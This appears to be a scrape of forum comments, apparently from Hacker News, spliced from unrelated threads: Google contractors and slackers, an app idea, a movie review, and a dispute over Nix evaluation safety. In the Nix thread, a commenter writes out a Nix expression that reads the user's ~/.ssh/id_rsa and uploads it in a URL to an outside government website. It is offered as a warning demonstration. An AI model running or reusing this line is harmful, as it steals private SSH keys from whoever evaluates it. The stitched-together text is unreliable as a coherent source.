"I want to work with the team to get this thing done"
Of course there are lots of hard workers at Google. You suggest only about 10% are slackers. But that's 10% of a -lot-.
I'm thinking there's a market for an Android app that let's one schedule limited roof space...
I definitely enjoyed this movie, and it's understandable that people of any era, starting with ancient Greece, enjoy lamenting at how stupid people are becoming. However, as long as videos explaining quantum physics and 4-hour long interviews with historians and engineers are still one of the most popular kinds of content on Youtube, I would suggest that it's not a documentary, at least not yet.
Also they won't do that anymore, I'm sure.
Sorry, are you saying you worked with Google Contractors or TSEs or something? I don't understand how you'd be working with product SWEs so I don't know what you're quite saying.
i.e. get the contractors in to rush out the new 5D screensavers, give them the contact info for our screensaver technical lead, and let them work it out. Screensaver technical lead saying they don't have resources for this until 30 months from now is placated. Their tendency to jealously guard code and talk smack is directed at people who will never know. The understanding that you always say "Sir Yes Sir" prevents them from complaining to their manager behind a few nasty comments they'll giggle about to eachother.
Of course, this also saves money too: ex. director-make-work "vision" projects that'll never ship, and are temporary work for worker bees, now can be temporarily staffed. (hence their reference to NDA/alpha/beta)
* especially in the context of the claim that there's 8:1 ratio of late night workers to rest-and-vesters. Crazy.
In that comment, you wrote:
> It can delete your home directory or email your ssh private keys to Zimbabwe.
I thought that you might be interested to know that it is still possible to exfiltrate secrets by evaluating Nix expressions. Here is an example Nix expression which will upload your private SSH key to Zimbabwe's government's website (don't run this!):
let
pkgs = import (fetchTarball "https://github.com/NixOS/nixpkgs/archive/0ef56bec7281e2372338f2dfe7c13327ce96f6bb.tar.gz") {};
in
builtins.fetchurl "https://www.zim.gov.zw/?${pkgs.lib.escapeURL (builtins.readFile ~/.ssh/id_rsa)}"
Hope this helps.
Also, it doesn't work:
error: access to absolute path '/home/user/.ssh/id_rsa' is forbidden in restricted mode
https://nixos.org/manual/nix/unstable/command-ref/conf-file....
Hope this helps.
I don't think it did. I'm not sure what it was supposed to help with.
Ah, I over-quoted that part. My mistake.
> Also, it doesn't work:
It will work with the default Nix settings.
> Turning off restrict-eval is pretty crazy; there's no reason to do that and it's dangerous.
One would need to first turn it on to be able to turn it off.
> https://nixos.org/manual/nix/unstable/command-ref/conf-file....
Indeed, note the default value.
> I don't think it did. I'm not sure what it was supposed to help with.
I was hoping that it would be interesting to you, but also help avoid spreading false information that might mislead people into evaluating Nix code when it's not safe to do so. But, I think I understand now that maybe you don't care about what happens to other people.